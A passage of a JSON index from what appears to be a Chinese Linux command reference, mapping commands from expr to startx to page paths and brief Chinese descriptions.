"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"figlet":{"n":"figlet","p":"/figlet","d":"字符串转为 “字画符”。"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpg":{"n":"gpg","p":"/gpg","d":"可用于签名、检查、加密或解密的工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hcitool":{"n":"hcitool","p":"/hcitool","d":"hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"iscsiadm":{"n":"iscsiadm","p":"/iscsiadm","d":"管理iSCSI连接"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mtr":{"n":"mtr","p":"/mtr","d":"`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pip":{"n":"pip","p":"/pip","d":"Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X 